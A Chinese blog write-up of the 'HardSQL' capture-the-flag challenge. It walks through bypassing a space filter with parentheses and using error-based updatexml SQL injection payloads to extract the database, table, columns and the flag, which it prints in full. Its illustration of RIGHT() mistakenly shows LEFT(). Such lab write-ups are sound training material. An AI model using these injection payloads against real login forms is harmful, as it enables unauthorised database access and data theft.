[极客大挑战 2019]HardSQL,wp

一:分析

既然说了是HardSQL,肯定就不是万能密码这种简单的了

1.首先判断字符型还是数字型

我们首先输入payload:username=admin' --+&password=1

发现好像有什么被过滤掉了。

然后检查过滤符号,这里可以直接用bp爆破看看过滤了哪些字符,也可以简单测试一下

这里我猜测过滤了空格,

 然后payload:username=admin'--+&password=1

 

这里报错位置显示 '1'' ,说明是字符型

 

收获:字符型,空格被过滤

二:绕过过滤

1.尝试一下/**/     (发现/**/也被过滤掉了)

 

2.现在尝试用() 括号来尝试进行绕过

原理:括号是来包含子查询的,任何可以计算出结果的语句都可以用括号围起来,

而括号的两端,可以没有多余的空格

三:观察后猜测是报注入

1.尝试用 updatexml 注入:

admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#&password=1

报错注入有两个函数,这里我们使用updatexml(a,b,c),此函数a,c必须为String类型,因此可以使a,c不为String型进行报错

在ASCII码表中,0x7e这个十六进制数代表符号~,~这个符号在xpath语法中是不存在的,因此总能报错。

2.但是发现需要username 和 password 都需要参数

而且发现 ' 分号和 # 没有被 url编码,这里进行编码一下

所以

payload: username=1%27or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1

 收获:获得了一个geek库

四:找表

pyload:

username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1

 

收获:拿到了 H4rDsq1 这个表

五:拿字段

payload:

username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23&password=1

 

 

六:这个时候查询字段里面的内容

 

结果: 只拿到了flag的前半部分

这里还有一个函数 RIGHT() 这个函数从指定字符串的 右侧提取给定数量的字符

参考:https://www.yiibai.com/sqlserver/sql-server-right-function.html

如:以下语句使用RIGHT()返回字符串:"SQL Server"的最右边6个字符

SELECT LEFT('SQL Server',6) Result_string;



username=1%27or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=1

 

 

最后拼接flag :flag{60390145-0ddd-420d-a7e6-cbb757e91687}

 

posted @ 2023-05-03 21:19  小熊猫爱bamboo  阅读(618)  评论(0编辑  收藏  举报